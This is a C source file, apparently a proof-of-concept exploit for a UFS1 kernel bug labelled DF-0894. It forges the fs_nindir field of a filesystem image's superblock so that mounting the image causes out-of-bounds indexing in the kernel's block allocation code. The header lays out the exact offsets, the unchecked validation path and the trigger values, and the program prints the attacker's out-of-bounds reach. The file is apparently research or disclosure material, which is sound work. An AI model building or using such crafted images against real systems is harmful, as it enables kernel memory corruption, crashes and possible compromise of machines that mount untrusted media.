/*
 * craft_img.c - DF-0894 UFS superblock fs_nindir patcher.
 *
 * Reads a base UFS1 image (produced by `newfs`), patches the on-disk
 * `fs_nindir` field in the superblock to a forged (larger) value so that
 * `ufs_getlbns` computes `in_off = bn % MNINDIR(ump)` values that exceed
 * `fs_bsize / sizeof(ufs_daddr_t)` entries, driving an out-of-bounds
 * index `bap[indirs[i].in_off]` in ffs_balloc.c:297/333/378/479.
 *
 * The on-disk superblock lives at byte offset SBOFF=8192 (fs.h:60
 * BBOFF+BBSIZE). Within `struct fs` (sys/vfs/ufs/fs.h:189-287),
 * `fs_nindir` is at byte offset 116 (all preceding fields are int32 or
 * 4-byte ufs_daddr_t on UFS1). The mount path ffs_vfsops.c:642-646
 * validates only fs_magic and the fs_bsize range; fs_nindir is copied
 * verbatim into `ump->um_nindir` at ffs_vfsops.c:729 with no check that
 * it equals `fs_bsize / sizeof(ufs_daddr_t)`.
 *
 * Usage: craft_img <img> [<new_nindir>]
 *   new_nindir defaults to 8192 (any value > fs_bsize/4 triggers OOB).
 *
 * Build: cc -o craft_img craft_img.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#define SBOFF 8192          /* on-disk superblock offset (fs.h BBOFF+BBSIZE) */
#define OFF_FS_BSIZE  48    /* offsetof(struct fs, fs_bsize)  */
#define OFF_FS_FSIZE  52
#define OFF_FS_NINDIR 116   /* offsetof(struct fs, fs_nindir) */
#define OFF_FS_INOPB  120

static uint32_t rd32(const unsigned char *p){
    return (uint32_t)p[0] | ((uint32_t)p[1]<<8) |
           ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24);
}
static void wr32(unsigned char *p, uint32_t v){
    p[0]=(unsigned char)(v&0xff); p[1]=(unsigned char)((v>>8)&0xff);
    p[2]=(unsigned char)((v>>16)&0xff); p[3]=(unsigned char)((v>>24)&0xff);
}

int main(int argc, char **argv){
    if (argc < 2) {
        fprintf(stderr, "usage: %s <img> [<new_nindir>]\n", argv[0]);
        return 2;
    }
    const char *img = argv[1];
    uint32_t new_nindir = (argc >= 3) ? (uint32_t)strtoul(argv[2], NULL, 0) : 8192;

    int f = open(img, O_RDWR);
    if (f < 0) { perror("open"); return 2; }

    /* read superblock region */
    unsigned char sb[4096];
    if (lseek(f, SBOFF, SEEK_SET) != SBOFF) { perror("lseek"); return 2; }
    if (read(f, sb, sizeof(sb)) != (ssize_t)sizeof(sb)) { perror("read"); return 2; }

    uint32_t magic  = rd32(sb + 1372);
    uint32_t bsize  = rd32(sb + OFF_FS_BSIZE);
    uint32_t fsize  = rd32(sb + OFF_FS_FSIZE);
    uint32_t nindir = rd32(sb + OFF_FS_NINDIR);
    uint32_t inopb  = rd32(sb + OFF_FS_INOPB);

    printf("=== DF-0894 superblock patcher ===\n");
    printf("image:        %s\n", img);
    printf("fs_magic:     0x%x (expect 0x011954)\n", magic);
    printf("fs_bsize:     %u  -> indirect-block buffer = %u bytes\n",
           bsize, bsize);
    printf("fs_fsize:     %u\n", fsize);
    printf("fs_inopb:     %u\n", inopb);
    printf("fs_nindir:    %u (CORRECT = fs_bsize/sizeof(ufs_daddr_t) = %u)\n",
           nindir, bsize / 4);
    printf("entries/buf:  %u (= fs_bsize/4)\n", bsize / 4);

    if (magic != 0x011954) {
        fprintf(stderr, "ERROR: not a UFS1/FFS superblock (magic mismatch)\n");
        close(f);
        return 2;
    }
    if (nindir != bsize / 4) {
        fprintf(stderr, "WARN: image already patched (fs_nindir=%u != %u)\n",
                nindir, bsize/4);
    }

    printf("\n--- patching fs_nindir: %u -> %u ---\n", nindir, new_nindir);
    wr32(sb + OFF_FS_NINDIR, new_nindir);

    /* recompute and print what the attacker gains */
    uint32_t entries = bsize / 4;   /* real entries in the indirect block */
    uint32_t max_in_off = new_nindir - 1;
    uint32_t oob_bytes_past = (max_in_off + 1) * 4 - bsize;  /* signed-safe */
    printf("forged MNINDIR(ump)   = %u\n", new_nindir);
    printf("valid bap[] indices    = 0..%u  (%u entries)\n", entries - 1, entries);
    printf("forged in_off range    = 0..%u\n", max_in_off);
    printf("max OOB index          = bap[%u] = bp->b_data + %u\n",
           max_in_off, max_in_off * 4);
    printf("max OOB past buffer    = %u bytes (~%u KB)\n",
           oob_bytes_past, oob_bytes_past / 1024);
    printf("first OOB index        = bap[%u] = bp->b_data + %u  (buffer is %u)\n",
           entries, entries * 4, bsize);

    /* write back just the 4 bytes of fs_nindir */
    if (lseek(f, SBOFF + OFF_FS_NINDIR, SEEK_SET) != SBOFF + OFF_FS_NINDIR) {
        perror("lseek2"); close(f); return 2;
    }
    if (write(f, sb + OFF_FS_NINDIR, 4) != 4) { perror("write"); close(f); return 2; }
    close(f);

    printf("\nOK: fs_nindir patched in %s\n", img);
    return 0;
}
